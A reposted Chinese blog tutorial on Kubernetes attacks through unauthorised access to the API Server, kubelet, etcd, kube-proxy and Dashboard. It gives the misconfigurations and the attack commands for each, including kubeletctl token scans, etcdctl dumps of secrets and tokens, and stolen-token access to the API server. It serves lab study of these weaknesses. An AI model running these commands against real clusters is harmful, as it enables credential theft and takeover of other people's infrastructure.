K8s攻击案例:组件未授权访问导致集群入侵_kubelet api 未授权访问漏洞-程序员宅基地

技术标签: 云原生  kubernetes  容器  

K8s集群往往会因为组件的不安全配置存在未授权访问的情况,如果攻击者能够进行未授权访问,可能导致集群节点遭受入侵。比较常见的的组件未授权访问漏洞,主要包括 API Server 未授权访问、kubelet 未授权访问、etcd 未授权访问、kube-proxy 不安全配置、Dashboard未授权访问。

接下来,我们将对这几个未授权访问的攻击场景和攻击过程进行详细的分析。

01、 API Server未授权访问

API Server 是集群的管理入口,任何资源请求或调用都是通过kube-apiserver提供的接口进行。默认情况下,API Server提供两个端口服务,8080和6443,配置不当将出现未授权访问。

8080端口,默认不启动,无需认证和授权检查,一旦暴露将导致未授权访问。

6443端口,默认启动需要认证,如果出现配置错误,将system:anonymous用户绑定到cluster-admin用户组,将出现未授权访问。

(1)攻击场景

insecure-port默认值为0,将其修改为8080端口,再添加insecure-bind-address=0.0.0.0,允许远程访问本地的8080端口。

vi /etc/kubernetes/manifests/kube-apiserver.yaml


    - --insecure-port=8080
    - --insecure-bind-address=0.0.0.0

修改kube-apiserver.yaml文件:

67386283059aa583f0695a72df777b67.png

无需启动,等待一会以后,8080服务自动起来了,通过浏览器可以访问8080端口返回API列表。

0ec52003b94150877e4b568aba1902f3.png

(2)攻击过程

未授权访问的情况下,kubectl可以使用-s参数指定Kubernetes API服务器地址和端口,直接执行命令创建恶意Pod,将其挂载到Master节点,从而实现对整个集群的接管。

efcff39e949d19d5a916125cec28176b.png

02、 kubelet未授权访问

kubelet会在集群中每个节点运行,对容器进行生命周期的管理,如果kubelet配置不当,攻击者可创建恶意Pod尝试逃逸到宿主机。

(1)攻击场景

anonymous默认为false,修改为true,并将mode从Webhook修改为AlwaysAllow。

vi /var/lib/kubelet/config.yaml
anonymous:
    enabled: true


authorization:
  mode: AlwayAllow

修改node节点配置,重启kubelet服务。

adebc3f6386658bf6c1019398a6edaf0.png

访问kubelet 10250服务,出现未授权访问。

dc7c38258889b824477e6862de8c0e95.png

(2) 攻击过程

kubeletctl 是一个用于与kubelet API 交互的命令行工具,可以通过kubeletctl执行命令获取Node权限。从Node节点窃取高权限服务账户token,使用服务账户向API Server进行验证,从而获取集群权限。

wget https://github.com/cyberark/kubeletctl/releases/download/v1.11/kubeletctl_linux_amd64
chmod 777 kubeletctl_linux_amd64
mv ./kubeletctl_linux_amd64 kubeletctl
#列出kubelet的所有pod
./kubeletctl pods -i --server 192.168.44.136


#搜索容器里面的Service Account
./kubeletctl scan token -i --server 192.168.44.136

175afd1c7f01b449bb3b7a1f4ac09ed7.png

03、etcd 未授权访问

etcd 用于存储K8s集群中的所有配置数据和状态信息,如果管理员配置不当,导致etcd未授权访问的情况,那么攻击者就可以从etcd中获取secrets&token等关键信息,进而通过kubectl创建恶意pod从而接管集群。

(1)攻击场景

将client-cert-auth=true 改为false,把listen-client-urls监听修改为0.0.0.0,将端口被暴露出去,导致etcd存在未授权访问漏洞。

vi /etc/kubernetes/manifests/etcd.yaml
    - --client-cert-auth=false
    - --listen-client-urls=http://0.0.0.0:2379

6fc247c9a7a47d2de9d8b93486d01f58.png

(2)攻击过程

下载etcdctl直接用命令行即可访问etcd

s://github.com/etcd-io/etcd/releases/download/v3.4.9/etcd-v3.4.9-linux-amd64.tar.gz
tar -xf etcd-v3.4.9-linux-amd64.tar.gz
cd etcd-v3.4.9-linux-amd64
#读取etcd中存储的数据,通过--limit选项限制数量
export ETCDCTL_API=3
./etcdctl --endpoints=192.168.44.138:2379  get / --prefix --limit=2

a377abeaed11fbd0bb0849e8e8b5b8cd.png

#获取k8s的secrets和token
 ./etcdctl --endpoints=192.168.44.138:2379  get / --prefix --keys-only   |grep secrets
 ./etcdctl --endpoints=192.168.44.138:2379  get /registry/secrets/test/bypass-token-p6xpj

cb7ca2705a433f49eabe8cd5c0ee8153.png

成功获取高权限服务账号token

2b232650be2d311ae57821ce34b02d72.png

通过token访问API-Server,可进一步创建恶意Pod,获取集群管理员的权限。

kubectl --insecure-skip-tls-verify -s https://127.0.0.1:6443/ --token=“[.token.]” -n kube-system get pods

01d678b59f90022e326ba0a9ada76fd1.png

04、kube-proxy不安全配置

通过使用kube-proxy暴露未授权访问的服务或组件,可能会形成外部攻击入口点,从而导致集群被入侵。

(1)攻击场景

使用kubectl proxy命令设置API server接收所有主机的请求。

kubectl --insecure-skip-tls-verify proxy --accept-hosts=^.*$ --address=0.0.0.0 --port=8009

1d412ac773356c64e4eba4428c9f7487.png

(2)攻击过程

攻击者可通过特定端口访问API Server,可按照API Server未授权访问情况直接接管集群。

741579217b2079ac9c9d72711600eea4.png

05、Dashboard未授权访问

Dashboard 在配置不当情况下有可能会产生未授权访问的情况,从而有可能进一步造成接管集群。

(1)攻击场景

在deployment中开启enable-skip-login,那么就可以在登录界面点击跳过登录进dashboard。

7500c5bca222869026d5f8eefe023f6d.png

将默认的Kubernetes-dashboard绑定cluster-admin,拥有管理集群管权限

kubectl create clusterrolebinding dashboard-1  --clusterrole=cluster-admin --serviceaccount=kubernetes-dashboard:kubernetes-dashboard

b53566a40e911017d81406788b5f00d1.png

(2)攻击过程

访问Kubernetes 仪表盘,出现了跳过按钮,点击跳过进入dashboard。

052bc1187ce8fff3f38fb15c34a7bf2b.png

进入控制面板,可以看到整个集群的资源情况。

2f469c2fb75bc5f1d3df8fd72d0a0c69.png

攻击者通过创建恶意pod,将其挂载到Master节点,从而实现对整个集群的接管。

c29e240231197b1b2267fa9090aab150.png

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/qq_23936389/article/details/135212126

智能推荐

Casbin访问控制框架入门详解及Java案例示范-程序员宅基地

文章浏览阅读2.3w次,点赞10次,收藏30次。Casbin 是一个强大的、高效的开源访问控制框架,其权限管理机制支持多种访问控制模型。Casbin 可以:默认的请求格式为{subject, object, action}。2. 具有访问控制模型model和策略policy两个核心概念。3. 支持RBAC中的多层角色继承,不止主体可以有角色,资源也可以具有角色。4. 支持内置的超级用户 例如:root 或 administrator。超级用户可以执行任何操作而无需显式的权限声明。..._casbin

推荐几个值得一读的Qt开源项目_qt 开源项目-程序员宅基地

文章浏览阅读574次,点赞4次,收藏10次。Qt项目收集_qt 开源项目

MindManager2023如何下载最新版本?_mindmanager2023许可密匙-程序员宅基地

文章浏览阅读3.1k次。有很多用户会在思维导图交流群里表示:为什么我在MindManager输入序列号显示许可秘钥是无效的呢?遇到这种情况该怎么办?序列号无效一.序列号无法使用的原因现在很多不法分子声称自己可以免费MindManager,四处散播使用注册机可以获得序列号的谣言来骗取用户钱财。也有一些免费用户度过试用期后想继续使用,却又不想花钱购买,因而在网上搜索诸如“MindManager激活码”、“MindManager注册码”等关键词,试图免费获得序列号。免费序列号谣言但是,群里已有用户反映,通过以上途径获得的“序列_mindmanager2023许可密匙

LAMMPS后处理——MATLAB子函数合集整理_matlab处理lammps介电常数-程序员宅基地

文章浏览阅读7.9k次,点赞19次,收藏50次。本博客将会介绍一些集成后子函数,可直接调用,用于Lammps的后处理,子函数内容和功能会及时更新,请关注博客更新时间_matlab处理lammps介电常数

方法反射的基本操作_方法 反射-程序员宅基地

文章浏览阅读1.1k次。方法反射:1、如何获取某个方法,方法的名称和方法的参数列表才能唯一决定某个方法2、方法反射的操作 method.invoke(对象,参数列表)public class MethodDemo1 { public static void main(String[] args) { /** * 要获取print(int,int)方法 * 1、要获取一个方法就是获取类的信息,首先要获取类的类型 */ A a1 = _方法 反射

Win10系统Word中无法导入NoteExpress插件,显示加载时出现运行失败_noteexpress导入不了-程序员宅基地

文章浏览阅读1.5w次,点赞8次,收藏17次。前言一般来说,下载完NoteExpress后,打开word就能够直接出现NoteExpress插件了,如下之前我的都是能用的,但是有一天在我写论文需要导入参考文献的时候,却意外发现,它它它不见了!!!去网上检索,无非就是这两种方法:方法1:在noteexpress中安装1如图所示,找到noteexpress的快捷方式,然后右键单击该快捷方式,然后选择“获取管理员权限”,有的人的电脑显示的是“以管理员身份运行”,都一样的。打开noteexpressWord中noteexpress插件无法安装的_noteexpress导入不了

随便推点

【解决方案】EasyGBS国标云平台助力智慧公厕系统建设-程序员宅基地

文章浏览阅读1.2k次。作为一个重要的、不可或缺的公共空间,公共厕所是必须在城市发展及其规划中确定的公共产品。而公共厕所的设施档次、保洁质量都代表着一个城市的文明程度和 "窗口”形象。公共厕所是体现人文情怀的标尺,一个小小的公厕,体现了一座城市的文明。智慧公厕是智慧城市管理系统的神经末梢,是一种新型的公共厕所信息化建设与管理模式,其借助物联网技术、传感感知技术、云计算、大数据等高新技术,结合公共厕所科学管养、智慧监测、联网管理等创新模式的要求,所整合而成的业务管理系统,能实现公共厕所查找容易、引导清晰、无味无臭、干净整洁、管养

Python常考面试题汇总(附答案)_少儿编程python面试题-程序员宅基地

文章浏览阅读760次。新创建的对象都会分配在年轻代,年轻代链表的总数达到上限时,Python 垃圾收集机制就会被触发,把那些可以被回收的对象回收掉,而那些不会回收的对象就会被移到中年代去,依此类推,老年代中的对象是存活时间最久的对象,甚至是存活于整个系统的生命周期内。它是一个带状态的对象,调用 next 方法的时候返回容器中的下一个值,可以说任何实现了iter和 next 方法的对象都是迭代器,iter返回迭代器自身,next 返回容器中的下一个值,如果容器中没有更多元素了,则抛异常。理论上是需要被回收的。_少儿编程python面试题

fork出来的子进程最好总是用_exit退出_fork的子进程必需exit-程序员宅基地

文章浏览阅读1.2w次,点赞2次,收藏13次。摘要fork家族函数(fork, vfork)所创建的子进程最好用_exit()退出,不管是通过 man vfork还是通过看相关网站都能得到这一结论。本文主要介绍一些案例来说明使用 exit()函数退出进程会引起弊病。正文linux下man vfork可以看到这样一句话:The child must not return from the current function o_fork的子进程必需exit

centos7下编译tensorflow1.15 GPU版本(cuda11)_tensorflow1.15 mkl-程序员宅基地

文章浏览阅读4.6k次。​ 因为最近要把cuda10.0升级到cuda11,但是cuda11都不支持tensorflow1.1x版本,所以尝试从源码编译,目前tensorflow官方给出了ubuntu版本的编译方法,nvidia也提供了一款基于ubuntu的nvidia-tensorflow,直接安装在centos上,期间出现了各种问题,因此本文记录了在centos上编译tensorflow-gpu1.15版本的过程,仅供大家参考。​ 下表展示了tensoflow和cuda、gcc之间的对应关系[外链图片转存失_tensorflow1.15 mkl

《机器人动力学与控制》第五章——速度运动学之机械臂的雅各比矩阵 5.2 反对称矩阵及其性质_机器人学导论反对称矩阵有什么性质-程序员宅基地

文章浏览阅读2.3k次,点赞3次,收藏14次。5.3节我们会推导一些矩阵的性质,这些性质可以被用来计算坐标系之间相对速度转化关系,这些转化关系里面包括了旋转矩阵的推导。而通过介绍反对称矩阵可以简化其中的一些计算。定义一. 当一个矩阵S有且仅有..._机器人学导论反对称矩阵有什么性质

【Latex】高级插入图片技巧: 双栏中如何正确插入图片 + 如何多图_latex两栏图片-程序员宅基地

文章浏览阅读4.8w次,点赞17次,收藏70次。【问题描述】貌似multicols环境中不能放图片,即\begin{multicols}{2}\begin{figure}\centering\includegraphics[width=0.309\textwidth]{fig0001.eps}\caption{图} \label{fig:1}\end{figure}\end{multicols} 是不允许的,图片_latex两栏图片

推荐文章

热门文章

相关标签